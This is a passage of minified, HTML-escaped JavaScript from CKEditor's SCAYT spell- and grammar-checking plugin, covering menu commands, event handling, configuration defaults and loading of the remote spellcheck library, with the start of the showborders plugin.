return h}),a.contextMenu._.onHide=CKEDITOR.tools.override(a.contextMenu._.onHide,function(b){return function(){var c=a.scayt;c&amp;&amp;c.hideBanner();return b.apply(this)}}))},addMenuItems:function(a){var e=this,b=CKEDITOR.plugins.scayt;a.addMenuGroup(&quot;scaytButton&quot;);for(var c=a.config.scayt_contextMenuItemsOrder.split(&quot;|&quot;),d=0;d&lt;c.length;d++)c[d]=&quot;scayt_&quot;+c[d];if((c=[&quot;grayt_description&quot;,&quot;grayt_suggest&quot;,&quot;grayt_control&quot;].concat(c))&amp;&amp;c.length)for(d=0;d&lt;c.length;d++)a.addMenuGroup(c[d],d-10);a.addCommand(&quot;scaytToggle&quot;,
{exec:function(a){var c=a.scayt;b.state.scayt[a.name]=!b.state.scayt[a.name];!0===b.state.scayt[a.name]?c||b.createScayt(a):c&amp;&amp;b.destroy(a)}});a.addCommand(&quot;scaytAbout&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;about&quot;;a.lockSelection();a.openDialog(e.dialogName)}});a.addCommand(&quot;scaytOptions&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;options&quot;;a.lockSelection();a.openDialog(e.dialogName)}});a.addCommand(&quot;scaytLangs&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;langs&quot;;a.lockSelection();a.openDialog(e.dialogName)}});
a.addCommand(&quot;scaytDict&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;dictionaries&quot;;a.lockSelection();a.openDialog(e.dialogName)}});c={scaytToggle:{label:a.lang.scayt.btn_enable,group:&quot;scaytButton&quot;,command:&quot;scaytToggle&quot;},scaytAbout:{label:a.lang.scayt.btn_about,group:&quot;scaytButton&quot;,command:&quot;scaytAbout&quot;},scaytOptions:{label:a.lang.scayt.btn_options,group:&quot;scaytButton&quot;,command:&quot;scaytOptions&quot;},scaytLangs:{label:a.lang.scayt.btn_langs,group:&quot;scaytButton&quot;,command:&quot;scaytLangs&quot;},scaytDict:{label:a.lang.scayt.btn_dictionaries,
group:&quot;scaytButton&quot;,command:&quot;scaytDict&quot;}};a.plugins.wsc&amp;&amp;(c.WSC={label:a.lang.wsc.toolbar,group:&quot;scaytButton&quot;,onClick:function(){var b=CKEDITOR.plugins.scayt,c=a.scayt,d=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(d=d.replace(/\s/g,&quot;&quot;))?(c&amp;&amp;b.state.scayt[a.name]&amp;&amp;c.setMarkupPaused&amp;&amp;c.setMarkupPaused(!0),a.lockSelection(),a.execCommand(&quot;checkspell&quot;)):alert(&quot;Nothing to check!&quot;)}});a.addMenuItems(c)},bindEvents:function(a){var e=CKEDITOR.plugins.scayt,
b=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE,c=function(){e.destroy(a)},d=function(){!e.state.scayt[a.name]||a.readOnly||a.scayt||e.createScayt(a)},k=function(){var c=a.editable();c.attachListener(c,&quot;focus&quot;,function(c){CKEDITOR.plugins.scayt&amp;&amp;!a.scayt&amp;&amp;setTimeout(d,0);c=CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[a.name]&amp;&amp;a.scayt;var f,e;if((b||c)&amp;&amp;a._.savedSelection){c=a._.savedSelection.getSelectedElement();c=!c&amp;&amp;a._.savedSelection.getRanges();for(var m=0;m&lt;c.length;m++)e=c[m],&quot;string&quot;===
typeof e.startContainer.$.nodeValue&amp;&amp;(f=e.startContainer.getText().length,(f&lt;e.startOffset||f&lt;e.endOffset)&amp;&amp;a.unlockSelection(!1))}},this,null,-10)},m=function(){b?a.config.scayt_inlineModeImmediateMarkup?d():(a.on(&quot;blur&quot;,function(){setTimeout(c,0)}),a.on(&quot;focus&quot;,d),a.focusManager.hasFocus&amp;&amp;d()):d();k();var f=a.editable();f.attachListener(f,&quot;mousedown&quot;,function(b){b=b.data.getTarget();var c=a.widgets&amp;&amp;a.widgets.getByElement(b);c&amp;&amp;(c.wrapper=b.getAscendant(function(a){return a.hasAttribute(&quot;data-cke-widget-wrapper&quot;)},
!0))},this,null,-10)};a.on(&quot;contentDom&quot;,m);a.on(&quot;beforeCommandExec&quot;,function(b){var c=a.scayt,d=null,g=!1,m=!0;b.data.name in e.options.disablingCommandExec&amp;&amp;&quot;wysiwyg&quot;==a.mode?c&amp;&amp;(e.destroy(a),a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_DISABLED)):&quot;bold&quot;!==b.data.name&amp;&amp;&quot;italic&quot;!==b.data.name&amp;&amp;&quot;underline&quot;!==b.data.name&amp;&amp;&quot;strike&quot;!==b.data.name&amp;&amp;&quot;subscript&quot;!==b.data.name&amp;&amp;&quot;superscript&quot;!==b.data.name&amp;&amp;&quot;enter&quot;!==b.data.name&amp;&amp;&quot;cut&quot;!==b.data.name&amp;&amp;&quot;language&quot;!==b.data.name||!c||(&quot;cut&quot;===b.data.name&amp;&amp;(m=!1,
g=!0),&quot;language&quot;===b.data.name&amp;&amp;(d=(d=a.plugins.language.getCurrentLangElement(a))&amp;&amp;d.$,g=!0),a.fire(&quot;reloadMarkupScayt&quot;,{removeOptions:{removeInside:m,forceBookmark:g,selectionNode:d},timeout:0}))});a.on(&quot;beforeSetMode&quot;,function(b){if(&quot;source&quot;==b.data){if(b=a.scayt)e.destroy(a),a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_DISABLED);a.document&amp;&amp;a.document.getBody().removeAttribute(&quot;_jquid&quot;)}});a.on(&quot;afterCommandExec&quot;,function(b){&quot;wysiwyg&quot;!=a.mode||&quot;undo&quot;!=b.data.name&amp;&amp;&quot;redo&quot;!=b.data.name||setTimeout(function(){var b=
a.scayt,c=b&amp;&amp;b.getScaytLangList();c&amp;&amp;c.ltr&amp;&amp;c.rtl&amp;&amp;b.fire(&quot;startSpellCheck, startGrammarCheck&quot;)},250)});a.on(&quot;readOnly&quot;,function(b){var c;b&amp;&amp;(c=a.scayt,!0===b.editor.readOnly?c&amp;&amp;c.fire(&quot;removeMarkupInDocument&quot;,{}):c?c.fire(&quot;startSpellCheck, startGrammarCheck&quot;):&quot;wysiwyg&quot;==b.editor.mode&amp;&amp;!0===e.state.scayt[b.editor.name]&amp;&amp;(e.createScayt(a),b.editor.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_ON)))});a.on(&quot;beforeDestroy&quot;,c);a.on(&quot;setData&quot;,function(){c();(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE||a.plugins.divarea)&amp;&amp;
m()},this,null,50);a.on(&quot;reloadMarkupScayt&quot;,function(b){var c=b.data&amp;&amp;b.data.removeOptions;setTimeout(function(){var b=a.scayt,d=b&amp;&amp;b.getScaytLangList();d&amp;&amp;d.ltr&amp;&amp;d.rtl&amp;&amp;(a.document.fire(&quot;keydown&quot;,new CKEDITOR.dom.event({keyCode:37})),b.removeMarkupInSelectionNode(c),b.fire(&quot;startSpellCheck, startGrammarCheck&quot;))},b.data&amp;&amp;b.data.timeout||0)});a.on(&quot;insertElement&quot;,function(){a.fire(&quot;reloadMarkupScayt&quot;,{removeOptions:{forceBookmark:!0}})},this,null,50);a.on(&quot;insertHtml&quot;,function(){a.fire(&quot;reloadMarkupScayt&quot;)},
this,null,50);a.on(&quot;insertText&quot;,function(){a.fire(&quot;reloadMarkupScayt&quot;)},this,null,50);a.on(&quot;scaytDialogShown&quot;,function(b){b.data.selectPage(a.scayt.tabToOpen)})},parseConfig:function(a){var e=CKEDITOR.plugins.scayt;e.replaceOldOptionsNames(a.config);&quot;boolean&quot;!==typeof a.config.scayt_autoStartup&amp;&amp;(a.config.scayt_autoStartup=!1);e.state.scayt[a.name]=a.config.scayt_autoStartup;&quot;boolean&quot;!==typeof a.config.grayt_autoStartup&amp;&amp;(a.config.grayt_autoStartup=!1);&quot;boolean&quot;!==typeof a.config.scayt_inlineModeImmediateMarkup&amp;&amp;
(a.config.scayt_inlineModeImmediateMarkup=!1);e.state.grayt[a.name]=a.config.grayt_autoStartup;a.config.scayt_contextCommands||(a.config.scayt_contextCommands=&quot;ignore|ignoreall|add&quot;);a.config.scayt_contextMenuItemsOrder||(a.config.scayt_contextMenuItemsOrder=&quot;suggest|moresuggest|control&quot;);a.config.scayt_sLang||(a.config.scayt_sLang=&quot;en_US&quot;);if(void 0===a.config.scayt_maxSuggestions||&quot;number&quot;!=typeof a.config.scayt_maxSuggestions||0&gt;a.config.scayt_maxSuggestions)a.config.scayt_maxSuggestions=5;if(void 0===
a.config.scayt_minWordLength||&quot;number&quot;!=typeof a.config.scayt_minWordLength||1&gt;a.config.scayt_minWordLength)a.config.scayt_minWordLength=4;if(void 0===a.config.scayt_customDictionaryIds||&quot;string&quot;!==typeof a.config.scayt_customDictionaryIds)a.config.scayt_customDictionaryIds=&quot;&quot;;if(void 0===a.config.scayt_userDictionaryName||&quot;string&quot;!==typeof a.config.scayt_userDictionaryName)a.config.scayt_userDictionaryName=null;if(&quot;string&quot;===typeof a.config.scayt_uiTabs&amp;&amp;3===a.config.scayt_uiTabs.split(&quot;,&quot;).length){var b=
[],c=[];a.config.scayt_uiTabs=a.config.scayt_uiTabs.split(&quot;,&quot;);CKEDITOR.tools.search(a.config.scayt_uiTabs,function(a){1===Number(a)||0===Number(a)?(c.push(!0),b.push(Number(a))):c.push(!1)});null===CKEDITOR.tools.search(c,!1)?a.config.scayt_uiTabs=b:a.config.scayt_uiTabs=[1,1,1]}else a.config.scayt_uiTabs=[1,1,1];&quot;string&quot;!=typeof a.config.scayt_serviceProtocol&amp;&amp;(a.config.scayt_serviceProtocol=null);&quot;string&quot;!=typeof a.config.scayt_serviceHost&amp;&amp;(a.config.scayt_serviceHost=null);&quot;string&quot;!=typeof a.config.scayt_servicePort&amp;&amp;
(a.config.scayt_servicePort=null);&quot;string&quot;!=typeof a.config.scayt_servicePath&amp;&amp;(a.config.scayt_servicePath=null);a.config.scayt_moreSuggestions||(a.config.scayt_moreSuggestions=&quot;on&quot;);&quot;string&quot;!==typeof a.config.scayt_customerId&amp;&amp;(a.config.scayt_customerId=&quot;1:WvF0D4-UtPqN1-43nkD4-NKvUm2-daQqk3-LmNiI-z7Ysb4-mwry24-T8YrS3-Q2tpq2&quot;);&quot;string&quot;!==typeof a.config.scayt_srcUrl&amp;&amp;(e=document.location.protocol,e=-1!=e.search(/https?:/)?e:&quot;http:&quot;,a.config.scayt_srcUrl=e+&quot;//svc.webspellchecker.net/spellcheck31/lf/scayt3/ckscayt/ckscayt.js&quot;);
&quot;boolean&quot;!==typeof CKEDITOR.config.scayt_handleCheckDirty&amp;&amp;(CKEDITOR.config.scayt_handleCheckDirty=!0);&quot;boolean&quot;!==typeof CKEDITOR.config.scayt_handleUndoRedo&amp;&amp;(CKEDITOR.config.scayt_handleUndoRedo=!0);CKEDITOR.config.scayt_handleUndoRedo=CKEDITOR.plugins.undo?CKEDITOR.config.scayt_handleUndoRedo:!1;&quot;boolean&quot;!==typeof a.config.scayt_multiLanguageMode&amp;&amp;(a.config.scayt_multiLanguageMode=!1);&quot;object&quot;!==typeof a.config.scayt_multiLanguageStyles&amp;&amp;(a.config.scayt_multiLanguageStyles={});a.config.scayt_ignoreAllCapsWords&amp;&amp;
&quot;boolean&quot;!==typeof a.config.scayt_ignoreAllCapsWords&amp;&amp;(a.config.scayt_ignoreAllCapsWords=!1);a.config.scayt_ignoreDomainNames&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreDomainNames&amp;&amp;(a.config.scayt_ignoreDomainNames=!1);a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;(a.config.scayt_ignoreWordsWithMixedCases=!1);a.config.scayt_ignoreWordsWithNumbers&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreWordsWithNumbers&amp;&amp;(a.config.scayt_ignoreWordsWithNumbers=
!1);if(a.config.scayt_disableOptionsStorage){var e=CKEDITOR.tools.isArray(a.config.scayt_disableOptionsStorage)?a.config.scayt_disableOptionsStorage:&quot;string&quot;===typeof a.config.scayt_disableOptionsStorage?[a.config.scayt_disableOptionsStorage]:void 0,d=&quot;all options lang ignore-all-caps-words ignore-domain-names ignore-words-with-mixed-cases ignore-words-with-numbers&quot;.split(&quot; &quot;),k=[&quot;lang&quot;,&quot;ignore-all-caps-words&quot;,&quot;ignore-domain-names&quot;,&quot;ignore-words-with-mixed-cases&quot;,&quot;ignore-words-with-numbers&quot;],m=CKEDITOR.tools.search,
f=CKEDITOR.tools.indexOf;a.config.scayt_disableOptionsStorage=function(a){for(var b=[],c=0;c&lt;a.length;c++){var e=a[c],v=!!m(a,&quot;options&quot;);if(!m(d,e)||v&amp;&amp;m(k,function(a){if(&quot;lang&quot;===a)return!1}))return;m(k,e)&amp;&amp;k.splice(f(k,e),1);if(&quot;all&quot;===e||v&amp;&amp;m(a,&quot;lang&quot;))return[];&quot;options&quot;===e&amp;&amp;(k=[&quot;lang&quot;])}return b=b.concat(k)}(e)}},addRule:function(a){var e=CKEDITOR.plugins.scayt,b=a.dataProcessor,c=b&amp;&amp;b.htmlFilter,d=a._.elementsPath&amp;&amp;a._.elementsPath.filters,b=b&amp;&amp;b.dataFilter,k=a.addRemoveFormatFilter,m=function(b){if(a.scayt&amp;&amp;
(b.hasAttribute(e.options.data_attribute_name)||b.hasAttribute(e.options.problem_grammar_data_attribute)))return!1},f=function(b){var c=!0;a.scayt&amp;&amp;(b.hasAttribute(e.options.data_attribute_name)||b.hasAttribute(e.options.problem_grammar_data_attribute))&amp;&amp;(c=!1);return c};d&amp;&amp;d.push(m);b&amp;&amp;b.addRules({elements:{span:function(a){var b=a.hasClass(e.options.misspelled_word_class)&amp;&amp;a.attributes[e.options.data_attribute_name],c=a.hasClass(e.options.problem_grammar_class)&amp;&amp;a.attributes[e.options.problem_grammar_data_attribute];
e&amp;&amp;(b||c)&amp;&amp;delete a.name;return a}}});c&amp;&amp;c.addRules({elements:{span:function(a){var b=a.hasClass(e.options.misspelled_word_class)&amp;&amp;a.attributes[e.options.data_attribute_name],c=a.hasClass(e.options.problem_grammar_class)&amp;&amp;a.attributes[e.options.problem_grammar_data_attribute];e&amp;&amp;(b||c)&amp;&amp;delete a.name;return a}}});k&amp;&amp;k.call(a,f)},scaytMenuDefinition:function(a){var e=this;a=a.scayt;return{scayt:{scayt_ignore:{label:a.getLocal(&quot;btn_ignore&quot;),group:&quot;scayt_control&quot;,order:1,exec:function(a){a.scayt.ignoreWord()}},
scayt_ignoreall:{label:a.getLocal(&quot;btn_ignoreAll&quot;),group:&quot;scayt_control&quot;,order:2,exec:function(a){a.scayt.ignoreAllWords()}},scayt_add:{label:a.getLocal(&quot;btn_addWord&quot;),group:&quot;scayt_control&quot;,order:3,exec:function(a){var c=a.scayt;setTimeout(function(){c.addWordToUserDictionary()},10)}},scayt_option:{label:a.getLocal(&quot;btn_options&quot;),group:&quot;scayt_control&quot;,order:4,exec:function(a){a.scayt.tabToOpen=&quot;options&quot;;a.lockSelection();a.openDialog(e.dialogName)},verification:function(a){return 1==a.config.scayt_uiTabs[0]?
!0:!1}},scayt_language:{label:a.getLocal(&quot;btn_langs&quot;),group:&quot;scayt_control&quot;,order:5,exec:function(a){a.scayt.tabToOpen=&quot;langs&quot;;a.lockSelection();a.openDialog(e.dialogName)},verification:function(a){return 1==a.config.scayt_uiTabs[1]?!0:!1}},scayt_dictionary:{label:a.getLocal(&quot;btn_dictionaries&quot;),group:&quot;scayt_control&quot;,order:6,exec:function(a){a.scayt.tabToOpen=&quot;dictionaries&quot;;a.lockSelection();a.openDialog(e.dialogName)},verification:function(a){return 1==a.config.scayt_uiTabs[2]?!0:!1}},scayt_about:{label:a.getLocal(&quot;btn_about&quot;),
group:&quot;scayt_control&quot;,order:7,exec:function(a){a.scayt.tabToOpen=&quot;about&quot;;a.lockSelection();a.openDialog(e.dialogName)}}},grayt:{grayt_problemdescription:{label:&quot;Grammar problem description&quot;,group:&quot;grayt_description&quot;,order:1,state:CKEDITOR.TRISTATE_DISABLED,exec:function(a){}},grayt_ignore:{label:a.getLocal(&quot;btn_ignore&quot;),group:&quot;grayt_control&quot;,order:2,exec:function(a){a.scayt.ignorePhrase()}}}}},buildSuggestionMenuItems:function(a,e,b){var c={},d={},k=b?&quot;word&quot;:&quot;phrase&quot;,m=b?&quot;startGrammarCheck&quot;:&quot;startSpellCheck&quot;,
f=a.scayt;if(0&lt;e.length&amp;&amp;&quot;no_any_suggestions&quot;!==e[0])if(b)for(b=0;b&lt;e.length;b++){var h=&quot;scayt_suggest_&quot;+CKEDITOR.plugins.scayt.suggestions[b].replace(&quot; &quot;,&quot;_&quot;);a.addCommand(h,this.createCommand(CKEDITOR.plugins.scayt.suggestions[b],k,m));b&lt;a.config.scayt_maxSuggestions?(a.addMenuItem(h,{label:e[b],command:h,group:&quot;scayt_suggest&quot;,order:b+1}),c[h]=CKEDITOR.TRISTATE_OFF):(a.addMenuItem(h,{label:e[b],command:h,group:&quot;scayt_moresuggest&quot;,order:b+1}),d[h]=CKEDITOR.TRISTATE_OFF,&quot;on&quot;===a.config.scayt_moreSuggestions&amp;&amp;
(a.addMenuItem(&quot;scayt_moresuggest&quot;,{label:f.getLocal(&quot;btn_moreSuggestions&quot;),group:&quot;scayt_moresuggest&quot;,order:10,getItems:function(){return d}}),c.scayt_moresuggest=CKEDITOR.TRISTATE_OFF))}else for(b=0;b&lt;e.length;b++)h=&quot;grayt_suggest_&quot;+CKEDITOR.plugins.scayt.suggestions[b].replace(&quot; &quot;,&quot;_&quot;),a.addCommand(h,this.createCommand(CKEDITOR.plugins.scayt.suggestions[b],k,m)),a.addMenuItem(h,{label:e[b],command:h,group:&quot;grayt_suggest&quot;,order:b+1}),c[h]=CKEDITOR.TRISTATE_OFF;else c.no_scayt_suggest=CKEDITOR.TRISTATE_DISABLED,
a.addCommand(&quot;no_scayt_suggest&quot;,{exec:function(){}}),a.addMenuItem(&quot;no_scayt_suggest&quot;,{label:f.getLocal(&quot;btn_noSuggestions&quot;)||&quot;no_scayt_suggest&quot;,command:&quot;no_scayt_suggest&quot;,group:&quot;scayt_suggest&quot;,order:0});return c},menuGenerator:function(a,e){var b=a.scayt,c=this.scaytMenuDefinition(a),d={},k=a.config.scayt_contextCommands.split(&quot;|&quot;),m=e.getAttribute(b.getLangAttribute())||b.getLang(),f,h;f=b.isScaytNode(e);h=b.isGraytNode(e);f?(c=c.scayt,d=e.getAttribute(b.getScaytNodeAttributeName()),b.fire(&quot;getSuggestionsList&quot;,
{lang:m,word:d}),d=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,f)):h&amp;&amp;(c=c.grayt,d=e.getAttribute(b.getGraytNodeAttributeName()),h=b.getProblemDescriptionText(d,m),c.grayt_problemdescription&amp;&amp;h&amp;&amp;(c.grayt_problemdescription.label=h),b.fire(&quot;getGrammarSuggestionsList&quot;,{lang:m,phrase:d}),d=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,f));if(f&amp;&amp;&quot;off&quot;==a.config.scayt_contextCommands)return d;for(var l in c)f&amp;&amp;-1==CKEDITOR.tools.indexOf(k,l.replace(&quot;scayt_&quot;,
&quot;&quot;))&amp;&amp;&quot;all&quot;!=a.config.scayt_contextCommands||(d[l]=&quot;undefined&quot;!=typeof c[l].state?c[l].state:CKEDITOR.TRISTATE_OFF,&quot;function&quot;!==typeof c[l].verification||c[l].verification(a)||delete d[l],a.addCommand(l,{exec:c[l].exec}),a.addMenuItem(l,{label:a.lang.scayt[c[l].label]||c[l].label,command:l,group:c[l].group,order:c[l].order}));return d},createCommand:function(a,e,b){return{exec:function(c){c=c.scayt;var d={};d[e]=a;c.replaceSelectionNode(d);&quot;startGrammarCheck&quot;===b&amp;&amp;c.removeMarkupInSelectionNode({grammarOnly:!0});
c.fire(b)}}}}),CKEDITOR.plugins.scayt={state:{scayt:{},grayt:{}},suggestions:[],loadingHelper:{loadOrder:[]},isLoading:!1,options:{disablingCommandExec:{source:!0,newpage:!0,templates:!0},data_attribute_name:&quot;data-scayt-word&quot;,misspelled_word_class:&quot;scayt-misspell-word&quot;,problem_grammar_data_attribute:&quot;data-grayt-phrase&quot;,problem_grammar_class:&quot;gramm-problem&quot;},backCompatibilityMap:{scayt_service_protocol:&quot;scayt_serviceProtocol&quot;,scayt_service_host:&quot;scayt_serviceHost&quot;,scayt_service_port:&quot;scayt_servicePort&quot;,
scayt_service_path:&quot;scayt_servicePath&quot;,scayt_customerid:&quot;scayt_customerId&quot;},replaceOldOptionsNames:function(a){for(var e in a)e in this.backCompatibilityMap&amp;&amp;(a[this.backCompatibilityMap[e]]=a[e],delete a[e])},createScayt:function(a){var e=this,b=CKEDITOR.plugins.scayt;this.loadScaytLibrary(a,function(a){var d=a.window&amp;&amp;a.window.getFrame()||a.editable();d?(d={lang:a.config.scayt_sLang,container:d.$,customDictionary:a.config.scayt_customDictionaryIds,userDictionaryName:a.config.scayt_userDictionaryName,
localization:a.langCode,customer_id:a.config.scayt_customerId,debug:a.config.scayt_debug,data_attribute_name:e.options.data_attribute_name,misspelled_word_class:e.options.misspelled_word_class,problem_grammar_data_attribute:e.options.problem_grammar_data_attribute,problem_grammar_class:e.options.problem_grammar_class,&quot;options-to-restore&quot;:a.config.scayt_disableOptionsStorage,focused:a.editable().hasFocus,ignoreElementsRegex:a.config.scayt_elementsToIgnore,minWordLength:a.config.scayt_minWordLength,
multiLanguageMode:a.config.scayt_multiLanguageMode,multiLanguageStyles:a.config.scayt_multiLanguageStyles,graytAutoStartup:b.state.grayt[a.name]},a.config.scayt_serviceProtocol&amp;&amp;(d.service_protocol=a.config.scayt_serviceProtocol),a.config.scayt_serviceHost&amp;&amp;(d.service_host=a.config.scayt_serviceHost),a.config.scayt_servicePort&amp;&amp;(d.service_port=a.config.scayt_servicePort),a.config.scayt_servicePath&amp;&amp;(d.service_path=a.config.scayt_servicePath),&quot;boolean&quot;===typeof a.config.scayt_ignoreAllCapsWords&amp;&amp;(d[&quot;ignore-all-caps-words&quot;]=
a.config.scayt_ignoreAllCapsWords),&quot;boolean&quot;===typeof a.config.scayt_ignoreDomainNames&amp;&amp;(d[&quot;ignore-domain-names&quot;]=a.config.scayt_ignoreDomainNames),&quot;boolean&quot;===typeof a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;(d[&quot;ignore-words-with-mixed-cases&quot;]=a.config.scayt_ignoreWordsWithMixedCases),&quot;boolean&quot;===typeof a.config.scayt_ignoreWordsWithNumbers&amp;&amp;(d[&quot;ignore-words-with-numbers&quot;]=a.config.scayt_ignoreWordsWithNumbers),d=new SCAYT.CKSCAYT(d,function(){},function(){}),d.subscribe(&quot;suggestionListSend&quot;,function(a){for(var b=
{},c=[],d=0;d&lt;a.suggestionList.length;d++)b[&quot;word_&quot;+a.suggestionList[d]]||(b[&quot;word_&quot;+a.suggestionList[d]]=a.suggestionList[d],c.push(a.suggestionList[d]));CKEDITOR.plugins.scayt.suggestions=c}),d.subscribe(&quot;selectionIsChanged&quot;,function(b){a.getSelection().isLocked&amp;&amp;a.lockSelection()}),d.subscribe(&quot;graytStateChanged&quot;,function(d){b.state.grayt[a.name]=d.state}),a.scayt=d,a.fire(&quot;scaytButtonState&quot;,a.readOnly?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_ON)):b.state.scayt[a.name]=!1})},destroy:function(a){a.scayt&amp;&amp;
a.scayt.destroy();delete a.scayt;a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_OFF)},loadScaytLibrary:function(a,e){var b=this,c,d;this.loadingHelper[a.name]||(&quot;undefined&quot;===typeof window.SCAYT||&quot;function&quot;!==typeof window.SCAYT.CKSCAYT?(this.loadingHelper[a.name]=e,this.loadingHelper.loadOrder.push(a.name),c=new Date,c=c.getTime(),d=a.config.scayt_srcUrl,d+=0&lt;=d.indexOf(&quot;?&quot;)?&quot;&quot;:&quot;?&quot;+c,this.loadingHelper.ckscaytLoading||(CKEDITOR.scriptLoader.load(d,function(a){if(a){CKEDITOR.fireOnce(&quot;scaytReady&quot;);for(var c=
0;c&lt;b.loadingHelper.loadOrder.length;c++){a=b.loadingHelper.loadOrder[c];if(&quot;function&quot;===typeof b.loadingHelper[a])b.loadingHelper[a](CKEDITOR.instances[a]);delete b.loadingHelper[a]}b.loadingHelper.loadOrder=[]}}),this.loadingHelper.ckscaytLoading=!0)):window.SCAYT&amp;&amp;&quot;function&quot;===typeof window.SCAYT.CKSCAYT&amp;&amp;(CKEDITOR.fireOnce(&quot;scaytReady&quot;),a.scayt||&quot;function&quot;===typeof e&amp;&amp;e(a)))}},CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){var e=a.data.name;a=a.data.definition.dialog;if(&quot;scaytDialog&quot;===e)a.on(&quot;cancel&quot;,
function(a){return!1},this,null,-1);if(&quot;checkspell&quot;===e)a.on(&quot;cancel&quot;,function(a){a=a.sender&amp;&amp;a.sender.getParentEditor();var c=CKEDITOR.plugins.scayt,d=a.scayt;d&amp;&amp;c.state.scayt[a.name]&amp;&amp;d.setMarkupPaused&amp;&amp;d.setMarkupPaused(!1);a.unlockSelection()},this,null,-2);if(&quot;link&quot;===e)a.on(&quot;ok&quot;,function(a){var c=a.sender&amp;&amp;a.sender.getParentEditor();c&amp;&amp;setTimeout(function(){c.fire(&quot;reloadMarkupScayt&quot;,{removeOptions:{removeInside:!0,forceBookmark:!0},timeout:0})},0)})}),CKEDITOR.on(&quot;scaytReady&quot;,function(){if(!0===
CKEDITOR.config.scayt_handleCheckDirty){var a=CKEDITOR.editor.prototype;a.checkDirty=CKEDITOR.tools.override(a.checkDirty,function(a){return function(){var c=null,d=this.scayt;if(CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[this.name]&amp;&amp;this.scayt){if(c=&quot;ready&quot;==this.status)var e=d.removeMarkupFromString(this.getSnapshot()),d=d.removeMarkupFromString(this._.previousValue),c=c&amp;&amp;d!==e}else c=a.call(this);return c}});a.resetDirty=CKEDITOR.tools.override(a.resetDirty,function(a){return function(){var c=
this.scayt;CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[this.name]&amp;&amp;this.scayt?this._.previousValue=c.removeMarkupFromString(this.getSnapshot()):a.call(this)}})}if(!0===CKEDITOR.config.scayt_handleUndoRedo){var a=CKEDITOR.plugins.undo.Image.prototype,e=&quot;function&quot;==typeof a.equalsContent?&quot;equalsContent&quot;:&quot;equals&quot;;a[e]=CKEDITOR.tools.override(a[e],function(a){return function(c){var d=c.editor.scayt,e=this.contents,m=c.contents,f=null;CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[c.editor.name]&amp;&amp;
c.editor.scayt&amp;&amp;(this.contents=d.removeMarkupFromString(e)||&quot;&quot;,c.contents=d.removeMarkupFromString(m)||&quot;&quot;);f=a.apply(this,arguments);this.contents=e;c.contents=m;return f}})}}),function(){var a={preserveState:!0,editorFocus:!1,readOnly:1,exec:function(a){this.toggleState();this.refresh(a)},refresh:function(a){if(a.document){var b=this.state==CKEDITOR.TRISTATE_ON?&quot;attachClass&quot;:&quot;removeClass&quot;;a.editable()[b](&quot;cke_show_borders&quot;)}}};CKEDITOR.plugins.add(&quot;showborders&quot;,{modes:{wysiwyg:1},onLoad:function(){var a;
a=(CKEDITOR.env.ie6Compat?[&quot;.%1 table.%2,&quot;,&quot;.%1 table.%2 td, .%1 table.%2 th&quot;,&quot;{&quot;,&quot;border : #d3d3d3 1px dotted&quot;,&quot;}&quot;]:&quot;.%1 table.%2,;.%1 table.%2 \x3e tr \x3e td, .%1 table.%2 \x3e tr \x3e th,;.%1 table.%2 \x3e tbody \x3e tr \x3e td, .%1 table.%2 \x3e tbody \x3e tr \x3e th,;.%1 table.%2 \x3e thead \x3e tr \x3e td, .%1 table.%2 \x3e thead \x3e tr \x3e th,;.%1 table.%2 \x3e tfoot \x3e tr \x3e td, .%1 table.%2 \x3e tfoot \x3e tr \x3e th;{;border : #d3d3d3 1px dotted;}&quot;.split(&quot;;&quot;)).join(&quot;&quot;).replace(/%2/g,
&quot;cke_show_border&quot;).replace(/%1/g,&quot;cke_show_borders &quot;);CKEDITOR.addCss(a)},init:function(e){var b=e.addCommand(&quot;showborders&quot;,a);b.canUndo=!1;!1!==e.config.startupShowBorders&amp;&amp;b.setState(CKEDITOR.TRISTATE_ON);e.on(&quot;mode&quot;,function(){b.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;b.refresh(e)},null,null,100);e.on(&quot;contentDom&quot;,function(){b.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;b.refresh(e)});e.on(&quot;removeFormatCleanup&quot;,function(a){a=a.data;e.getCommand(&quot;showborders&quot;).state==CKEDITOR.TRISTATE_ON&amp;&amp;a.is(&quot;table&quot;)&amp;&amp;(!a.hasAttribute(&quot;border&quot;)||
